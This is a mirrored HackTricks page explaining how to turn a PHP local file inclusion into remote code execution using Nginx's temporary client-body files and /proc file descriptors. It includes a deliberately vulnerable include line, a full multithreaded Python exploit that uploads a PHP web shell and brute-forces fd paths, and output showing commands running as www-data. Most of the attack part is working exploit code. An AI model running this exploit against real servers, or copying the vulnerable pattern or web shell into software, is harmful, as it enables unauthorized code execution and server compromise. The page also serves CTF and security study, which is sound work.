mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
179 lines
5.5 KiB
Markdown
179 lines
5.5 KiB
Markdown
|
# LFI2RCE via Nginx temp files
|
||
|
|
||
|
## Vulnerable configuration
|
||
|
|
||
|
* PHP code:
|
||
|
|
||
|
```
|
||
|
<?php include_once($_GET['file']);
|
||
|
```
|
||
|
|
||
|
* FPM / PHP config:
|
||
|
|
||
|
```
|
||
|
...
|
||
|
php_admin_value[session.upload_progress.enabled] = 0
|
||
|
php_admin_value[file_uploads] = 0
|
||
|
...
|
||
|
```
|
||
|
|
||
|
* Setup / hardening:
|
||
|
|
||
|
```
|
||
|
...
|
||
|
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
|
||
|
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
|
||
|
...
|
||
|
```
|
||
|
|
||
|
Luckily PHP is currently often deployed via PHP-FPM and Nginx. Nginx offers an easily-overlooked [client body buffering](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size) feature which will write temporary files if the client body (not limited to post) is bigger than a certain threshold.
|
||
|
|
||
|
This feature allows LFIs to be exploited without any other way of creating files, if Nginx runs as the same user as PHP (very commonly done as www-data).
|
||
|
|
||
|
Relevant Nginx code:
|
||
|
|
||
|
```c
|
||
|
ngx_fd_t
|
||
|
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
|
||
|
{
|
||
|
ngx_fd_t fd;
|
||
|
|
||
|
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
|
||
|
access ? access : 0600);
|
||
|
|
||
|
if (fd != -1 && !persistent) {
|
||
|
(void) unlink((const char *) name);
|
||
|
}
|
||
|
|
||
|
return fd;
|
||
|
}
|
||
|
```
|
||
|
|
||
|
It's visible that **tempfile is unlinked immediately** after being opened by Nginx. Luckily p**rocfs can be used to still obtain a reference** to the deleted file via a race:
|
||
|
|
||
|
```
|
||
|
...
|
||
|
/proc/34/fd:
|
||
|
total 0
|
||
|
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
|
||
|
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
|
||
|
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
|
||
|
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
|
||
|
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
|
||
|
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
|
||
|
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
|
||
|
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
|
||
|
...
|
||
|
```
|
||
|
|
||
|
Note: One cannot directly include `/proc/34/fd/15` in this example as PHP's `include` function would resolve the path to `/var/lib/nginx/body/0000001368 (deleted)` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: `/proc/self/fd/34/../../../34/fd/15` which will finally execute the content of the deleted `/var/lib/nginx/body/0000001368` file.
|
||
|
|
||
|
## Full Exploit
|
||
|
|
||
|
```python
|
||
|
#!/usr/bin/env python3
|
||
|
import sys, threading, requests
|
||
|
|
||
|
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
|
||
|
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
|
||
|
|
||
|
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
|
||
|
|
||
|
# find nginx worker processes
|
||
|
r = requests.get(URL, params={
|
||
|
'file': '/proc/cpuinfo'
|
||
|
})
|
||
|
cpus = r.text.count('processor')
|
||
|
|
||
|
r = requests.get(URL, params={
|
||
|
'file': '/proc/sys/kernel/pid_max'
|
||
|
})
|
||
|
pid_max = int(r.text)
|
||
|
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
|
||
|
|
||
|
nginx_workers = []
|
||
|
for pid in range(pid_max):
|
||
|
r = requests.get(URL, params={
|
||
|
'file': f'/proc/{pid}/cmdline'
|
||
|
})
|
||
|
|
||
|
if b'nginx: worker process' in r.content:
|
||
|
print(f'[*] nginx worker found: {pid}')
|
||
|
|
||
|
nginx_workers.append(pid)
|
||
|
if len(nginx_workers) >= cpus:
|
||
|
break
|
||
|
|
||
|
done = False
|
||
|
|
||
|
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
|
||
|
def uploader():
|
||
|
print('[+] starting uploader')
|
||
|
while not done:
|
||
|
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
|
||
|
|
||
|
for _ in range(16):
|
||
|
t = threading.Thread(target=uploader)
|
||
|
t.start()
|
||
|
|
||
|
# brute force nginx's fds to include body files via procfs
|
||
|
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
|
||
|
def bruter(pid):
|
||
|
global done
|
||
|
|
||
|
while not done:
|
||
|
print(f'[+] brute loop restarted: {pid}')
|
||
|
for fd in range(4, 32):
|
||
|
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
|
||
|
r = requests.get(URL, params={
|
||
|
'file': f,
|
||
|
'c': f'id'
|
||
|
})
|
||
|
if r.text:
|
||
|
print(f'[!] {f}: {r.text}')
|
||
|
done = True
|
||
|
exit()
|
||
|
|
||
|
for pid in nginx_workers:
|
||
|
a = threading.Thread(target=bruter, args=(pid, ))
|
||
|
a.start()
|
||
|
```
|
||
|
|
||
|
Output:
|
||
|
|
||
|
```
|
||
|
$ ./pwn.py 127.0.0.1 1337
|
||
|
[*] cpus: 2; pid_max: 32768
|
||
|
[*] nginx worker found: 33
|
||
|
[*] nginx worker found: 34
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] starting uploader
|
||
|
[+] brute loop restarted: 33
|
||
|
[+] brute loop restarted: 34
|
||
|
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||
|
```
|
||
|
|
||
|
## Labs
|
||
|
|
||
|
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||
|
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||
|
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||
|
|
||
|
## References
|
||
|
|
||
|
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|